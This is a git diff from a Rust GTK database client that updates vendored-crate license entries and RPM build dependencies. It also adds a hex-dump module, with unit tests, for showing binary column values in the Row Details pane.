+ ongoing basis, if such Contributor fails to notify You of the
+ non-compliance by some reasonable means prior to 60 days after You have
+ come back into compliance. Moreover, Your grants from a particular
+ Contributor are reinstated on an ongoing basis if such Contributor
+ notifies You of the non-compliance by some reasonable means, this is the
+ first time You have received notice of non-compliance with this License
+ from such Contributor, and You become compliant prior to 30 days after
+ Your receipt of the notice.
+ .
+ 5.2. If You initiate litigation against any entity by asserting a patent
+ infringement claim (excluding declaratory judgment actions,
+ counter-claims, and cross-claims) alleging that a Contributor Version
+ directly or indirectly infringes any patent, then the rights granted to
+ You by any and all Contributors for the Covered Software under Section
+ 2.1 of this License shall terminate.
+ .
+ 5.3. In the event of termination under Sections 5.1 or 5.2 above, all
+ end user license agreements (excluding distributors and resellers) which
+ have been validly granted by You or Your distributors under this License
+ prior to termination shall survive termination.
+ .
+ ************************************************************************
+ *                                                                      *
+ *  6. Disclaimer of Warranty                                           *
+ *  -------------------------                                           *
+ *                                                                      *
+ *  Covered Software is provided under this License on an "as is"       *
+ *  basis, without warranty of any kind, either expressed, implied, or  *
+ *  statutory, including, without limitation, warranties that the       *
+ *  Covered Software is free of defects, merchantable, fit for a        *
+ *  particular purpose or non-infringing. The entire risk as to the     *
+ *  quality and performance of the Covered Software is with You.        *
+ *  Should any Covered Software prove defective in any respect, You     *
+ *  (not any Contributor) assume the cost of any necessary servicing,   *
+ *  repair, or correction. This disclaimer of warranty constitutes an   *
+ *  essential part of this License. No use of any Covered Software is   *
+ *  authorized under this License except under this disclaimer.         *
+ *                                                                      *
+ ************************************************************************
+ .
+ ************************************************************************
+ *                                                                      *
+ *  7. Limitation of Liability                                          *
+ *  --------------------------                                          *
+ *                                                                      *
+ *  Under no circumstances and under no legal theory, whether tort      *
+ *  (including negligence), contract, or otherwise, shall any           *
+ *  Contributor, or anyone who distributes Covered Software as          *
+ *  permitted above, be liable to You for any direct, indirect,         *
+ *  special, incidental, or consequential damages of any character      *
+ *  including, without limitation, damages for lost profits, loss of    *
+ *  goodwill, work stoppage, computer failure or malfunction, or any    *
+ *  and all other commercial damages or losses, even if such party      *
+ *  shall have been informed of the possibility of such damages. This   *
+ *  limitation of liability shall not apply to liability for death or   *
+ *  personal injury resulting from such party's negligence to the       *
+ *  extent applicable law prohibits such limitation. Some               *
+ *  jurisdictions do not allow the exclusion or limitation of           *
+ *  incidental or consequential damages, so this exclusion and          *
+ *  limitation may not apply to You.                                    *
+ *                                                                      *
+ ************************************************************************
+ .
+ 8. Litigation
+ -------------
+ .
+ Any litigation relating to this License may be brought only in the
+ courts of a jurisdiction where the defendant maintains its principal
+ place of business and such litigation shall be governed by laws of that
+ jurisdiction, without reference to its conflict-of-law provisions.
+ Nothing in this Section shall prevent a party's ability to bring
+ cross-claims or counter-claims.
+ .
+ 9. Miscellaneous
+ ----------------
+ .
+ This License represents the complete agreement concerning the subject
+ matter hereof. If any provision of this License is held to be
+ unenforceable, such provision shall be reformed only to the extent
+ necessary to make it enforceable. Any law or regulation which provides
+ that the language of a contract shall be construed against the drafter
+ shall not be used to construe this License against a Contributor.
+ .
+ 10. Versions of the License
+ ---------------------------
+ .
+ 10.1. New Versions
+ .
+ Mozilla Foundation is the license steward. Except as provided in Section
+ 10.3, no one other than the license steward has the right to modify or
+ publish new versions of this License. Each version will be given a
+ distinguishing version number.
+ .
+ 10.2. Effect of New Versions
+ .
+ You may distribute the Covered Software under the terms of the version
+ of the License under which You originally received the Covered Software,
+ or under the terms of any subsequent version published by the license
+ steward.
+ .
+ 10.3. Modified Versions
+ .
+ If you create software not governed by this License, and you want to
+ create a new license for such software, you may create and use a
+ modified version of this License if you rename the license and remove
+ any references to the name of the license steward (except to note that
+ such modified license differs from this License).
+ .
+ 10.4. Distributing Source Code Form that is Incompatible With Secondary
+ Licenses
+ .
+ If You choose to distribute Source Code Form that is Incompatible With
+ Secondary Licenses under the terms of this version of the License, the
+ notice described in Exhibit B of this License must be attached.
+ .
+ Exhibit A - Source Code Form License Notice
+ -------------------------------------------
+ .
+   This Source Code Form is subject to the terms of the Mozilla Public
+   License, v. 2.0. If a copy of the MPL was not distributed with this
+   file, You can obtain one at https://mozilla.org/MPL/2.0/.
+ .
+ If it is not possible or desirable to put the notice in a particular
+ file, then You may include the notice in a location (such as a LICENSE
+ file in a relevant directory) where a recipient would be likely to look
+ for such a notice.
+ .
+ You may add additional accurate notices of copyright ownership.
+ .
+ Exhibit B - "Incompatible With Secondary Licenses" Notice
+ ---------------------------------------------------------
+ .
+   This Source Code Form is "Incompatible With Secondary Licenses", as
+   defined by the Mozilla Public License, v. 2.0.
+
 Files: vendor/half-2.7.1/*
  vendor/ident_case-1.0.1/*
 Copyright: the authors of half, ident_case
@@ -4360,6 +4840,8 @@ License: Apache-2.0 or Expat
  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 
 Files: vendor/lazy_static-1.5.0/*
+ vendor/rayon-1.12.0/*
+ vendor/rayon-core-1.13.0/*
 Copyright: 2010 The Rust Project Developers
 License: Apache-2.0 or Expat
  Copyright (c) 2010 The Rust Project Developers
@@ -4388,6 +4870,55 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/lcms2-6.2.0/*
+Copyright: Kornel Lesiński
+License: Expat
+ Copyright (c) Kornel Lesiński
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
+Files: vendor/lcms2-sys-4.0.7/*
+Copyright: 2023 Marti Maria Saguer
+License: Expat
+ MIT License
+ .
+ Copyright (c) 2023 Marti Maria Saguer
+ .
+ Permission is hereby granted, free of charge, to any person obtaining
+ a copy of this software and associated documentation files (the
+ "Software"), to deal in the Software without restriction, including
+ without limitation the rights to use, copy, modify, merge, publish,
+ distribute, sublicense, and/or sell copies of the Software, and to
+ permit persons to whom the Software is furnished to do so, subject
+ to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be
+ included in all copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
 Files: vendor/libc-0.2.189/*
 Copyright: The Rust Project Developers
 License: Apache-2.0 or Expat
@@ -5308,6 +5839,22 @@ License: Expat
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.
 
+Files: vendor/libloading-0.8.9/*
+Copyright: 2015, Simonas Kazlauskas
+License: ISC
+ Copyright © 2015, Simonas Kazlauskas
+ .
+ Permission to use, copy, modify, and/or distribute this software for any purpose with or without
+ fee is hereby granted, provided that the above copyright notice and this permission notice appear
+ in all copies.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS
+ SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+ AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
+ NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF
+ THIS SOFTWARE.
+
 Files: vendor/libm-0.2.16/*
 Copyright: 2018 Jorge Aparicio
  2005-2020 Rich Felker, et al.
@@ -5403,6 +5950,32 @@ License: Expat
  .
  Copyright notices are retained in src/* files where relevant.
 
+Files: vendor/libseccomp-0.4.0/*
+ vendor/libseccomp-sys-0.3.0/*
+Copyright: 2021 Sony Group Corporation
+License: Apache-2.0 or Expat
+ MIT License
+ .
+ Copyright (c) 2021 Sony Group Corporation
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
 Files: vendor/libsqlite3-sys-0.37.0/*
 Copyright: 2014 The rusqlite developers
 License: Expat
@@ -5663,6 +6236,57 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/memfd-0.6.6/*
+Copyright: the authors of memfd
+License: Apache-2.0 or Expat
+ Copyright <YEAR> <COPYRIGHT HOLDER>
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
+ associated documentation files (the "Software"), to deal in the Software without restriction,
+ including without limitation the rights to use, copy, modify, merge, publish, distribute,
+ sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all copies or
+ substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT
+ NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
+ DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT
+ OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Files: vendor/memmap2-0.9.12/*
+Copyright: 2020 Yevhenii Reizner
+ 2015 Dan Burkert
+License: Apache-2.0 or Expat
+ Copyright (c) 2020 Yevhenii Reizner
+ Copyright (c) 2015 Dan Burkert
+ .
+ Permission is hereby granted, free of charge, to any
+ person obtaining a copy of this software and associated
+ documentation files (the "Software"), to deal in the
+ Software without restriction, including without
+ limitation the rights to use, copy, modify, merge,
+ publish, distribute, sublicense, and/or sell copies of
+ the Software, and to permit persons to whom the Software
+ is furnished to do so, subject to the following
+ conditions:
+ .
+ The above copyright notice and this permission notice
+ shall be included in all copies or substantial portions
+ of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
+ ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
+ TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+ PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
+ SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+ CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR
+ IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ DEALINGS IN THE SOFTWARE.
+
 Files: vendor/memoffset-0.9.1/*
 Copyright: 2017 Gilad Naaman
 License: Expat
@@ -5814,6 +6438,31 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/nix-0.30.1/*
+Copyright: 2015 Carl Lerche + nix-rust Authors
+License: Expat
+ The MIT License (MIT)
+ .
+ Copyright (c) 2015 Carl Lerche + nix-rust Authors
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in
+ all copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ THE SOFTWARE.
+
 Files: vendor/nu-ansi-term-0.50.3/*
 Copyright: 2014 Benjamin Sago
  2021-2022 The Nushell Project Developers
@@ -6321,6 +6970,32 @@ License: Apache-2.0 and Expat
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.
 
+Files: vendor/rmp-0.8.15/*
+ vendor/rmp-serde-1.3.1/*
+Copyright: 2017 Evgeny Safronov
+License: Expat
+ MIT License
+ .
+ Copyright (c) 2017 Evgeny Safronov
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
 Files: vendor/rust_xlsxwriter-0.102.0/*
 Copyright: 2022-2026 John McNamara <jmcnamara@cpan.org>
 License: Apache-2.0 or Expat
@@ -7052,6 +7727,31 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/static_assertions-1.1.0/*
+Copyright: 2017 Nikolai Vazquez
+License: Apache-2.0 or Expat
+ MIT License
+ .
+ Copyright (c) 2017 Nikolai Vazquez
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
 Files: vendor/stringprep-0.1.5/*
 Copyright: 2017 The rust-stringprep Developers
 License: Apache-2.0 or Expat
@@ -7576,31 +8276,6 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
-Files: vendor/toml_datetime-1.1.1+spec-1.1.0/*
- vendor/toml_edit-0.25.15+spec-1.1.0/*
- vendor/toml_parser-1.1.3+spec-1.1.0/*
-Copyright: Individual contributors
-License: Apache-2.0 or Expat
- Copyright (c) Individual contributors
- .
- Permission is hereby granted, free of charge, to any person obtaining a copy
- of this software and associated documentation files (the "Software"), to deal
- in the Software without restriction, including without limitation the rights
- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- copies of the Software, and to permit persons to whom the Software is
- furnished to do so, subject to the following conditions:
- .
- The above copyright notice and this permission notice shall be included in all
- copies or substantial portions of the Software.
- .
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
- SOFTWARE.
-
 Files: vendor/tower-service-0.3.3/*
 Copyright: 2019 Tower Contributors
 License: Expat
@@ -8141,6 +8816,37 @@ License: BSL-1.0
  ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/yeslogic-fontconfig-sys-6.0.1/*
+Copyright: 2019 YesLogic Pty. Ltd.
+ 2016 Manuel Reinhardt
+ 2014 Austin Bonander
+ 2013 The Servo Project Developers.
+License: Expat
+ The MIT License (MIT)
+ .
+ Copyright 2019 YesLogic Pty. Ltd.
+ Copyright 2016 Manuel Reinhardt
+ Copyright 2014 Austin Bonander
+ Copyright 2013 The Servo Project Developers.
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
 Files: vendor/zbus-5.19.0/*
  vendor/zbus_macros-5.19.0/*
  vendor/zbus_names-4.3.4/*
diff --git a/linux/build-aux/rpm/tablepro.spec b/linux/build-aux/rpm/tablepro.spec
index 15d8da05c6..90f7a41bf3 100644
--- a/linux/build-aux/rpm/tablepro.spec
+++ b/linux/build-aux/rpm/tablepro.spec
@@ -39,6 +39,7 @@ License:        %{shrink:
     BSL-1.0 AND
     CDLA-Permissive-2.0 AND
     ISC AND
+    (LGPL-2.1-or-later OR MPL-2.0) AND
     MIT AND
     (MIT OR Unlicense) AND
     Unicode-3.0 AND
@@ -73,6 +74,9 @@ BuildRequires:  pkgconfig(gtksourceview-5) >= 5.18
 # security fixes arrive through Fedora's sqlite package.
 BuildRequires:  pkgconfig(sqlite3) >= 3.46
 BuildRequires:  pkgconfig(mit-krb5-gssapi)
+# glycin, which decodes a value's picture in a sandbox.
+BuildRequires:  pkgconfig(libseccomp)
+BuildRequires:  pkgconfig(lcms2)
 %if %{with check}
 # The gtk suite opens windows on a display and owns D-Bus names, and the
 # catalogue test needs a real locale.
@@ -82,6 +86,7 @@ BuildRequires:  /usr/bin/dbus-run-session
 BuildRequires:  adwaita-icon-theme
 BuildRequires:  glibc-langpack-en
 BuildRequires:  openssh-clients >= 8.7
+BuildRequires:  glycin-loaders
 %endif
 
 Requires:       hicolor-icon-theme
@@ -99,6 +104,8 @@ Requires:       openssh-clients >= 8.7
 # Saved passwords live in the Secret Service. Without a provider every
 # connect asks for the password and Remember is hidden.
 Recommends:     (gnome-keyring or kf6-kwallet or keepassxc)
+# Without them Row Details shows an image's bytes but not its picture.
+Recommends:     glycin-loaders
 # kinit, for SQL Server sign-in with Kerberos.
 Suggests:       krb5-workstation
 
diff --git a/linux/changelog.d/3882.added.md b/linux/changelog.d/3882.added.md
new file mode 100644
index 0000000000..072f81d259
--- /dev/null
+++ b/linux/changelog.d/3882.added.md
@@ -0,0 +1 @@
+Row Details shows a binary value as a hex dump, and an image as a picture above it.
diff --git a/linux/crates/app/Cargo.toml b/linux/crates/app/Cargo.toml
index cc3f705740..42d002c708 100644
--- a/linux/crates/app/Cargo.toml
+++ b/linux/crates/app/Cargo.toml
@@ -87,6 +87,7 @@ cairo-rs.workspace = true
 libadwaita.workspace = true
 sourceview5.workspace = true
 glib.workspace = true
+glycin.workspace = true
 relm4.workspace = true
 # CLOCK_BOOTTIME, which std does not expose, tells a suspend apart.
 rustix = { workspace = true, features = ["time"] }
diff --git a/linux/crates/app/src/services/grid/display_text.rs b/linux/crates/app/src/services/grid/display_text.rs
index a0ee4209b2..a6c9b17205 100644
--- a/linux/crates/app/src/services/grid/display_text.rs
+++ b/linux/crates/app/src/services/grid/display_text.rs
@@ -160,12 +160,7 @@ fn cut_in_place(scratch: &mut String) -> DisplayText<'_> {
 
 fn finish_cut(scratch: &mut String, truncated_bytes: usize) -> DisplayText<'_> {
     if truncated_bytes > 0 {
-        scratch.push_str(&crate::i18n::ngettext_f(
-            "… ({count} more byte)",
-            "… ({count} more bytes)",
-            plural_count(truncated_bytes),
-            &[("count", &truncated_bytes.to_string())],
-        ));
+        scratch.push_str(&more_bytes(truncated_bytes));
     }
     DisplayText {
         text: scratch,
@@ -174,6 +169,15 @@ fn finish_cut(scratch: &mut String, truncated_bytes: usize) -> DisplayText<'_> {
     }
 }
 
+pub fn more_bytes(count: usize) -> String {
+    crate::i18n::ngettext_f(
+        "… ({count} more byte)",
+        "… ({count} more bytes)",
+        plural_count(count),
+        &[("count", &count.to_string())],
+    )
+}
+
 /// Where the cell cuts `text`, on a char boundary. A string of no more
 /// bytes than the cap has no more chars either, so it is not walked.
 fn cut_at(text: &str) -> Option<usize> {
diff --git a/linux/crates/app/src/services/grid/hex_dump.rs b/linux/crates/app/src/services/grid/hex_dump.rs
new file mode 100644
index 0000000000..30f283ab55
--- /dev/null
+++ b/linux/crates/app/src/services/grid/hex_dump.rs
@@ -0,0 +1,93 @@
+use std::fmt::Write;
+
+use super::EDIT_MAX_BYTES;
+use super::display_text::more_bytes;
+
+const PER_LINE: usize = 16;
+const DIGITS: &[u8; 16] = b"0123456789abcdef";
+// The offset and its gap, three columns a byte and the middle gap, then " |", the text and "|\n".
+const LINE_LEN: usize = 10 + PER_LINE * 3 + 1 + 2 + PER_LINE + 2;
+// The pane lays the dump out whole on the GTK thread, as it does a value it opens for an edit.
+const HEX_DUMP_MAX_BYTES: usize = EDIT_MAX_BYTES / LINE_LEN * PER_LINE;
+
+pub fn hex_dump(bytes: &[u8]) -> String {
+    let shown = bytes.get(..HEX_DUMP_MAX_BYTES).unwrap_or(bytes);
+    let mut dump = String::with_capacity(shown.len().div_ceil(PER_LINE) * LINE_LEN + LINE_LEN);
+    for (line, chunk) in shown.chunks(PER_LINE).enumerate() {
+        if line > 0 {
+            dump.push('\n');
+        }
+        let _ = write!(dump, "{:08x}  ", line * PER_LINE);
+        for at in 0..PER_LINE {
+            match chunk.get(at) {
+                Some(byte) => {
+                    dump.push(char::from(DIGITS[usize::from(byte >> 4)]));
+                    dump.push(char::from(DIGITS[usize::from(byte & 0x0f)]));
+                    dump.push(' ');
+                }
+                None => dump.push_str("   "),
+            }
+            if at == PER_LINE / 2 - 1 {
+                dump.push(' ');
+            }
+        }
+        dump.push_str(" |");
+        dump.extend(chunk.iter().map(|&byte| match byte {
+            0x20..=0x7e => char::from(byte),
+            _ => '.',
+        }));
+        dump.push('|');
+    }
+    if shown.len() < bytes.len() {
+        dump.push('\n');
+        dump.push_str(&more_bytes(bytes.len() - shown.len()));
+    }
+    dump
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{EDIT_MAX_BYTES, HEX_DUMP_MAX_BYTES, LINE_LEN, PER_LINE, hex_dump};
+
+    #[test]
+    fn a_dump_lays_out_offset_hex_and_text() {
+        assert_eq!(
+            hex_dump(b"Hello, TablePro!\x00\x01\xff \x7f~"),
+            "00000000  48 65 6c 6c 6f 2c 20 54  61 62 6c 65 50 72 6f 21  |Hello, TablePro!|\n\
+             00000010  00 01 ff 20 7f 7e                                 |... .~|"
+        );
+    }
+
+    #[test]
+    fn a_full_line_is_as_long_as_the_budget_counts() {
+        let dump = hex_dump(&[0x41; PER_LINE * 2]);
+
+        assert_eq!(dump.len() + 1, 2 * LINE_LEN, "{dump}");
+    }
+
+    #[test]
+    fn a_dump_past_its_cap_stays_within_the_editor_budget_and_says_what_it_left_out() {
+        let dump = hex_dump(&vec![0u8; HEX_DUMP_MAX_BYTES + 5]);
+        let note = "\n… (5 more bytes)";
+
+        assert!(
+            dump.ends_with(&format!("|................|{note}")),
+            "{}",
+            &dump[dump.len() - 120..]
+        );
+        assert!(dump.len() - note.len() <= EDIT_MAX_BYTES, "{} bytes", dump.len());
+        assert_eq!(dump.lines().count(), HEX_DUMP_MAX_BYTES / PER_LINE + 1);
+    }
+
+    #[test]
+    fn a_value_at_the_cap_is_whole() {
+        let dump = hex_dump(&vec![0u8; HEX_DUMP_MAX_BYTES]);
+
+        assert!(dump.ends_with('|'), "{}", &dump[dump.len() - 80..]);
+    }
+
+    #[test]
+    fn an_empty_value_dumps_to_nothing() {
+        assert_eq!(hex_dump(&[]), "");
+    }
+}
diff --git a/linux/crates/app/src/services/grid/mod.rs b/linux/crates/app/src/services/grid/mod.rs
index 2252854d55..894c05f799 100644
--- a/linux/crates/app/src/services/grid/mod.rs
+++ b/linux/crates/app/src/services/grid/mod.rs
@@ -17,6 +17,7 @@ mod edit_policy;
 mod find_matches;
 mod grid_column;
 mod grid_row_id;
+mod hex_dump;
 mod row_key_builder;
 mod row_snapshot;
 mod selection_summary;
@@ -42,6 +43,7 @@ pub use self::edit_policy::{EditPolicy, EditRefusal, edit_policy, selection_hint
 pub use self::find_matches::{FindMatch, find_matches};
 pub use self::grid_column::{CellDisplay, GridColumn, grid_columns};
 pub use self::grid_row_id::GridRowId;
+pub use self::hex_dump::hex_dump;
 pub use self::row_key_builder::RowKeyBuilder;
 pub use self::row_snapshot::RowSnapshot;
